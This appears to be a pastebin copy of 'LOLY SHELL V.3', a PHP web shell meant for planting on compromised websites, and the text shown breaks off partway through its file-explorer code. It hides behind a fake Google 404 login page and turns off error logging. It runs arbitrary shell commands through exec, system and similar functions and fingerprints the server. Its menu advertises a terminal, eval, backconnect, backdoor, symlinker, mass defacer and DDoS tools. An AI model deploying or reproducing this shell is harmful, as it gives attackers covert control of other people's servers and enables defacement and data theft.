· 7 years ago · Sep 22, 2018, 07:18 AM
1<?php
2error_reporting(0);
3/*
4
5Coded By FirmanCyb#erLoly_ IndoXploit
6|\| |========| |/| |/| |\|
7|\| |/|====|\| |/| |/| |\|
8 |\| |/| |\| |/| ==========
9 |\|______ |/|====|\| |/|_____ |/| __________
10 |________| |========| |_______| |/| __________ FirmanCyb#erLoly_ V.3 Shell
11*/
12$auth_pass = "@lolysange"; // Put your password here.
13@session_start();
14function Login() {
15 die("<title>404 Not Found</title>
16 <style>
17 *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(data:image/png;base64,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) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}
18 </style>
19 <a href=//www.google.com/><span id=logo aria-label=Google></span></a>
20 <p><b>File Not Found</b> <ins>This website error</ins>
21 <p>The requested URL <code></code> was not found on this server. <ins>Please find again</ins>
22 <style>
23 input { margin:0;background-color:#fff;border:1px solid #fff; }
24 </style>
25 <pre align=center>
26 <form method=post>
27 <input type=password name=pass>
28 </form></pre>");
29}
30if(!isset($_SESSION[$_SERVER['HTTP_HOST']]))
31 if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] == $auth_pass) ) )
32 $_SESSION[$_SERVER['HTTP_HOST']] = true;
33 else
34 Login();
35$db = "";
36ob_start();
37if(!isset($_GET['action']) or $_GET['action']==""){
38
39
40 header("location: ?action=explorer");
41
42
43}
44if(isset($_GET["hiddenshell"])){
45
46exit;}
47@ini_set('error_log',NULL);
48@ini_set('log_errors',0);
49@ini_set('max_execution_time',0);
50@set_time_limit(0);
51@set_magic_quotes_runtime(0);
52if(get_magic_quotes_gpc()) {
53 function mstripslashes($array) {
54 return is_array($array) ? array_map('mstripslashes', $array) : stripslashes($array);
55 }
56 $_POST = mstripslashes($_POST);
57}
58
59if(ini_get("safe_mode")=="1"){
60 $safemode="<font>ON</font>";
61} else{
62 $safemode="<font>OFF</font>";
63}
64if(ini_get("disable_functions")==""){
65 $disable_functions="<font>NONE</font>";
66} else{
67 $disable_functions=ini_get("disable_functions");
68}
69if(!function_exists('posix_getegid'))
70{
71$gid = @getmygid();
72$group = "?";
73} else
74{
75$uid = @posix_getpwuid(posix_geteuid());
76$gid = @posix_getgrgid(posix_getegid());
77$group = $gid['name'];
78$gid = $gid['gid'];
79}
80
81//Start
82
83$on="<font> ON </font>";
84$of="<font> OFF </font>";
85$none="<font> NONE </font>";
86if(function_exists('curl_version'))
87$curl=$on;
88else
89$curl=$of;
90if(function_exists('mysql_get_client_info'))
91$mysql=$on;
92else
93$mysql=$of;
94if(function_exists('mssql_connect'))
95$mssql=$on;
96else
97$mssql=$of;
98if(function_exists('pg_connect'))
99$pg=$on;
100else
101$pg=$of;
102if(function_exists('oci_connect'))
103$or=$on;
104else
105$or=$of;
106if(@ini_get('open_basedir'))
107$open_b=@ini_get('open_basedir');
108else
109$open_b=$none;
110
111//End
112
113function magicboom($text){
114 if (!get_magic_quotes_gpc()){
115 return $text;
116 }
117 return stripslashes($text);
118 }
119
120function perms($p) {
121if (($p & 0xC000) == 0xC000)$i = 's';
122elseif (($p & 0xA000) == 0xA000)$i = 'l';
123elseif (($p & 0x8000) == 0x8000)$i = '-';
124elseif (($p & 0x6000) == 0x6000)$i = 'b';
125elseif (($p & 0x4000) == 0x4000)$i = 'd';
126elseif (($p & 0x2000) == 0x2000)$i = 'c';
127elseif (($p & 0x1000) == 0x1000)$i = 'p';
128else $i = 'u';
129$i .= (($p & 0x0100) ? 'r' : '-');
130$i .= (($p & 0x0080) ? 'w' : '-');
131$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
132$i .= (($p & 0x0020) ? 'r' : '-');
133$i .= (($p & 0x0010) ? 'w' : '-');
134$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
135$i .= (($p & 0x0004) ? 'r' : '-');
136$i .= (($p & 0x0002) ? 'w' : '-');
137$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
138return $i;
139}
140function permsColor($f) {
141 if (!@is_readable($f))
142 return '<font color=#FF0000>' . perms(@fileperms($f)) . '</font>';
143 elseif (!@is_writable($f))
144 return '<font color=white>' . perms(@fileperms($f)) . '</font>';
145 else
146 return '<font color=#25ff00>' . perms(@fileperms($f)) . '</font>';
147}
148function size($s) {
149if($s >= 1073741824)
150return sprintf('%1.2f', $s / 1073741824 ). ' GB';
151elseif($s >= 1048576)
152return sprintf('%1.2f', $s / 1048576 ) . ' MB';
153elseif($s >= 1024)
154return sprintf('%1.2f', $s / 1024 ) . ' KB';
155else
156return $s . ' B';
157}
158function extension($in) {
159$out = '';
160if (function_exists('exec')) {
161@exec($in,$out);
162$out = @join("\n",$out);
163} elseif (function_exists('passthru')) {
164ob_start();
165@passthru($in);
166$out = ob_get_clean();
167} elseif (function_exists('system')) {
168ob_start();
169@system($in);
170$out = ob_get_clean();
171} elseif (function_exists('shell_exec')) {
172$out = shell_exec($in);
173} elseif (is_resource($f = @popen($in,"r"))) {
174$out = "";
175while(!@feof($f))
176$out .= fread($f,1024);
177pclose($f);
178}
179return $out;
180}
181if (strtolower(substr(PHP_OS,0,3))=="win")
182$sys='win';
183else
184$sys='unix';
185$home_path = @getcwd();
186$path = @getcwd();
187
188if(empty($_GET['dir'])){
189
190$path=(dirname($_SERVER['SCRIPT_FILENAME']));
191} else{
192 $path=(htmlspecialchars($_GET['dir']));
193}
194if($sys == 'win')
195{
196$home_path = str_replace("\\", "/", $home_path);
197$path = str_replace("\\", "/", $path);
198}
199
200if($path[strlen($path)-1] != '/' )
201$path .= '/';
202$cwd_links = '';
203$path1 = explode("/", $GLOBALS['path']);
204$n=count($path1);
205for($i=0; $i<$n-1; $i++) {
206$cwd_links .= "<a href='?action=explorer&dir=";
207for($j=0; $j<=$i; $j++)
208$cwd_links .= $path1[$j].'/';
209$cwd_links .= "'>".$path1[$i]."/</a>";
210}
211
212$drives = "";
213
214if (class_exists('COM')) {
215
216foreach(range('C','Z') as $drive) {
217if(is_dir($drive.':\\')){
218$fso = new COM('Scripting.FileSystemObject');
219$D = $fso->Drives;
220$Dr = $fso->GetDrive($drive);
221if ($Dr->IsReady ) {
222$drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ '.$drive.' ]</a> ';
223}
224else {
225$drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ CD-Rom : '.$drive.' ]</a> ';
226}
227}
228}
229
230}
231
232if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
233function posix_getpwuid($p) {return false;} }
234if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
235function posix_getgrgid($p) {return false;} }
236?>
237<!DOCTYPE HTML>
238<html>
239 <head>
240 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
241 <link href="https://s33.postimg.cc/ry7gh0vq7/lc_In_P8_H.png" rel="icon" type="image/x-icon"/>
242 <title> LOLY SHELL V.3 </title>
243 <title><?php echo $_SERVER['HTTP_HOST']; ?> - LOLY SHELL V.3</title>
244<style>
245body
246{
247 background:#1d1c1c;
248 color:#e3e3e3;
249 font-family:Tahoma;
250}
251h1,h2,h3,h4,h5,h6
252{
253 margin:0px;
254 padding:0px;
255}
256a
257{
258 text-decoration: none;
259 color:inherit;
260}
261li
262{
263 list-style:none;
264}
265ul
266{
267 padding:0px ;
268 margin:0px auto;
269}
270textarea{
271 border:2px solid #CE3F3F;
272}
273#hover tr:hover{
274 background-color:#CE3F3F;
275}
276.logo
277{
278 background-image:url('http://ashiyane.org/aboutus/images/logo2.png');
279 width:182px;
280 height:134px;
281 float:left;
282}
283.main
284{
285 width:90%;
286 margin:0px auto;
287 padding:0px;
288}
289.logout
290{
291 float:right;
292 background:#990000;
293 color:#FFF;
294 background-image:url('http://up.ashiyane.org/images/b5crr7rhrwc5e97nvgxq.png');
295 padding:5px;
296 padding-left:20px;
297 background-position:2px;
298 background-repeat: no-repeat;
299
300}
301.description
302{
303 width: 70%;
304 float: left;
305 margin-left:20px;
306 margin-top:10px;
307}
308.description span
309{
310 font-size:12px;
311}
312.description span b
313{
314 color:#DD4242;
315}
316.header
317{
318 width: 95%;
319 margin-left: auto;
320 margin-right: auto;
321}
322.header h1
323{
324 padding: 0px;
325 margin: 0px;
326 text-align: center;
327 border-bottom: 3px solid #A81F1F;
328}
329.clear
330{
331 clear: both;
332}
333
334.menu
335{
336
337 margin-top:10px;
338}
339.menu ul
340{
341
342 width:95%;
343 margin-left:3%;
344
345
346}
347.menu ul li:last-child
348{
349 border-right:none;
350}
351.menu ul li
352{
353 border-top: 3px solid #A81F1F;
354 background-color:#ce3f3f;
355 text-align:center;
356 float:left;
357 border-right:3px solid #a81f1f;
358 padding:10px 0px;
359 width:8%;
360 font-size:12px;
361
362}
363.content-box
364{
365 font-size:13px;
366 background-color:#2D2D2D;
367 margin-top:10px;
368 width:94%;
369 margin-left:auto;
370 margin-right:auto;
371}
372.box-main-box
373{
374 padding:10px;
375 overflow-x:hidden;
376}
377.content-box table
378{
379 text-align: left;
380}
381.content-box table tr th
382{
383 color:#BE5757;
384}
385.content-box table tr:nth-child(2n)
386{
387 background-color:#464444;
388}
389.box-box
390{
391 float:left;
392
393 width:45%;
394 margin-top:10px;
395 padding:5px;
396}
397.box-box .title
398{
399 color:#BE5757;
400 border-bottom:2px solid #BE5757;
401 padding-bottom:3px;
402 float:left;
403 margin-bottom: 10px;
404}
405input[type="file"],input[type=text]
406{
407 border-radius: 3px;
408 padding:2px;
409 color: black;
410}
411
412input[type=submit],input[type=reset]
413{
414 background-color: #E44242;
415 color: #FFF;
416 border: none;
417 padding: 5px;
418 border-radius: 3px;
419 margin-left:5px;
420 cursor: pointer;
421}
422input[type=button] {
423 background-color: #E44242;
424 color: #FFF;
425 border: none;
426 padding: 5px;
427 border-radius: 3px;
428 margin-left:5px;
429 cursor: pointer;
430 }
431.info-file-info li
432{
433 background:rgb(152, 134, 109);
434 float:left;
435 margin-right:10px;
436 padding:5px;
437 margin-top:10px;
438}
439.info-file-info li.active
440{
441 background:rgb(163, 95, 95);
442}
443.syms td{
444border:1px solid #A81F1F;
445}
446.syms tr:hover{
447background: #646464;
448}
449textarea{
450padding:10px 10px;
451background-color:#ddd;
452}
453.backdoor li{
454 background-color: #CE3F3F;
455 text-align: center;
456 border: 1px solid #A81F1F;
457 padding: 10px 0px;
458 font-size: 12px;
459}
460.backdoor a li{
461 color:white;
462}
463.backdoor li{
464 color:black;
465}
466</style>
467
468 </head>
469 <title> LOLY SHELL V.3 </title>
470 <body>
471 <div class="main">
472 <div class="header">
473 <h1>LOLY SHELL V.3<span style="font-size: 12px; color: #CE3F3F;">Lolyconsz</span></h1>
474 <div class="logo"></div>
475
476 <div class="description">
477 <span style=""><b>Server IP : </b> <?php echo $_SERVER['SERVER_ADDR']; ?></span>
478 <span style=""><b>Your IP : </b> <?php echo $_SERVER['REMOTE_ADDR']; ?></span><br>
479 <span style=""><b>System : </b> <?php echo php_uname(); ?></span><br>
480 <span style=""><b>Software : </b> <?php echo getenv("SERVER_SOFTWARE"); ?></span>
481 <span style=""><b>User: </b><?php echo get_current_user()." "; ?></span><span>Group: <?php echo $gid ." [ $group ] ";?></span><br />
482 <span style=""><b>Safemode : </b><?php echo $safemode; ?></span>
483 <span style=""><b>Disable_Functions: </b><?php echo $disable_functions; ?></span><br />
484 <span><b>Open_Basedir : </b><?php echo $open_b;?></span><BR />
485 <span><b>CURL:</b><?php echo $curl; ?><span><b>MySQL:</b></span><?php echo $mysql; ?><span><b>MsSQL:</b></span><?php echo $mssql; ?><span><b>PostgreSQL:</b></span><?php echo $pg?><span><b>Oracle:</b></span><?php echo $or?></span><br />
486 <span><b>Domains:</b></span>
487 <?php
488 if($GLOBALS['sys']=='unix')
489 {
490 $d0mains = @file("/etc/named.conf");
491 if(!$d0mains)
492 {
493 echo "<span>CANT READ named.conf</span>";
494 }
495 else
496 {
497 $count;
498 foreach($d0mains as $d0main)
499 {
500 if(@ereg("zone",$d0main))
501 {
502 preg_match_all('#zone "(.*)"#', $d0main, $domains);
503 flush();
504 if(strlen(trim($domains[1][0])) > 2){
505 flush();
506 $count++;
507 }
508 }
509 }
510 echo "<span>$count Domains</span>";
511 }
512 }
513 else{ echo"<span>CANT READ |Windows|</span>";}
514 ?>
515 <br />
516 <?php
517 echo '<tr>
518<td height="12"><span><b>Path:</b></span></td>
519<td colspan="2"><span>'.$cwd_links.' <a href="?action=explorer&dir='.$GLOBALS['home_path'].'"><font color=#DD4242 >| Home Directory |</font></a></span></td>
520</tr>';
521 ?><br />
522 <span style=""><?php echo $drives; ?></span><br />
523 <br />
524 </div>
525 <div class="logout"><a href="?action=logout">Logout</a></div>
526 <div class="clear"></div>
527
528</div>
529<div class="menu">
530 <ul>
531 <li id="explorer"><a href="?action=explorer&dir=<?php echo $path ?>">HOME</a></li>
532 <li id="terminal"><a href="?action=terminal&dir=<?php echo $path ?>">TERMINAL</a></li>
533 <li id="eval"><a href="?action=eval&dir=<?php echo $path ?>">EVAL</a></li>
534 <li id="sym"><a href="?action=sym&dir=<?php echo $path ?>">SYMLINKER</a></li>
535 <li id="basedir"><a href="?action=basedir&dir=<?php echo $path ?>">OPEN BASEDIR</a></li>
536 <li id="sql"><a href="?action=sql&dir=<?php echo $path ?>">SQL</a></li>
537 <li id="cgiashiyane"><a href="?action=cgiashiyane&dir=<?php echo $path ?>">CGI-TELNET</a></li>
538 <li id="bc"><a href="?action=bc&dir=<?php echo $path ?>">BACKCONNECT</a></li>
539 <li id="backdoor"><a href="?action=backdoor&dir=<?php echo $path ?>">BACKDOOR</a></li>
540 <li id="othertools"><a href="?action=othertools&dir=<?php echo $path ?>" title="Other Tools:
541 Zone-h Mass Deface Poster
542 Ddoser
543 SQLi Target Finder
544 Mass Defacer
545 Zipper
546 Fake Mail
547 PHP To XML
548 Bypass Disable Functions
549 Hash Cracker
550 PHP Info">OTHER TOOLS</a></li>
551 <li id="aboutus"><a href="?action=aboutus&dir=">ABOUTUS</a></li>
552 <li id="rmshell"><a href="?action=rmshell">REMOVE</a></li>
553 </ul>
554 </div>
555
556 <div class="clear"></div>
557 <div class="content-box">
558 <div class="box-main-box">
559<?php
560
561if(isset($_GET['action'])){
562
563 $action=htmlspecialchars($_GET['action']);
564
565 if($action=="explorer"){
566
567 if(!function_exists("scandir")) {
568 function scandir($dir) {
569 $dh = opendir($dir);
570 while (false !== ($filename = readdir($dh)))
571 $files[] = $filename;
572 return $files;
573 }
574}
575
576 echo "<style>#explorer{background: #A81F1F}</style>";
577 ?>
578 <br />
579 <div class="explorer">
580 <?php
581
582 $files = scandir($path);
583 ?>
584 <table id="hover">
585 <th style="min-width:300px;">Name</th><th style="width:150px;">Size</th><th style="min-width:300px;">Modify</th><th style="width:300px;">Owner/Group<th style="width:150px;">Permission</th><th colspan=4>Actions</th>
586 <?php
587 $directories = array();
588 $files_list = array();
589
590 foreach($files as $entry){
591 $entry_link=$path.$entry;
592 $entry_link= ($entry_link);
593 if(!is_file($entry_link)){
594 $directories[] = $entry;
595
596
597 } else {
598 $files_list[] = $entry;
599
600 }
601
602 }
603
604
605 ?>
606
607
608 <?php
609 foreach($directories as $directory){
610 $entry_link=$path.$directory;
611 $entry_link= ($entry_link);
612 if($directory==".."){
613 ?>
614 <tr><td style="min-width:300px;"><?php
615 $entry_link2=realpath($entry_link);
616 $entry_link2=str_replace("\\","/",$entry_link2);
617 echo "<a href=\"?action=explorer&dir=$entry_link2\">| $directory |</a></td>";
618
619 ?>
620 <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
621 <td style="min-width:300px;">
622
623 <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
624
625 </td>
626 <td style="width:300px">
627 <?php
628
629
630 if(strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false){
631 $ow = @posix_getpwuid(@fileowner($entry_link));
632 } else{
633 $ow['name']="???";
634 }
635
636 if(strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false){
637 $gr = @posix_getgrgid(@filegroup($entry_link));
638 }else{
639 $gr['name']="???";
640 }
641
642 echo $ow['name']?$ow['name']:@fileowner($entry_link);
643 echo "/";
644 echo $gr['name']?$gr['name']:@filegroup($entry_link);
645
646
647 ?>
648 <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Edit Permission"><?php echo permsColor($entry_link); ?></a></td>
649 <td><a href="?action=ff&go=rename&file=<?php echo urlencode($directory); ?>&dir=<?php echo $path ?>&f=<?php echo $directory;?>#down" title="Rename">R</a></td>
650 <td><a href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Touch">T</a></td>
651 <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
652 </tr>
653 <?php
654 }
655 if($directory!="." && $directory!=".."){
656 ?>
657 <tr><td style="min-width:300px;"><?php
658
659echo "<a href=\"?action=explorer&dir=$entry_link\">| $directory |</a></td>";
660
661 ?>
662 <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
663 <td style="min-width:300px;">
664
665 <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
666
667 </td>
668 <td style="width:300px">
669 <?php
670
671 if(strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false){
672 $ow = @posix_getpwuid(@fileowner($entry_link));
673 } else{
674 $ow['name']="???";
675 }
676
677 if(strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false){
678 $gr = @posix_getgrgid(@filegroup($entry_link));
679 }else{
680 $gr['name']="???";
681 }
682
683 echo $ow['name']?$ow['name']:@fileowner($entry_link);
684 echo "/";
685 echo $gr['name']?$gr['name']:@filegroup($entry_link);
686
687
688 ?>
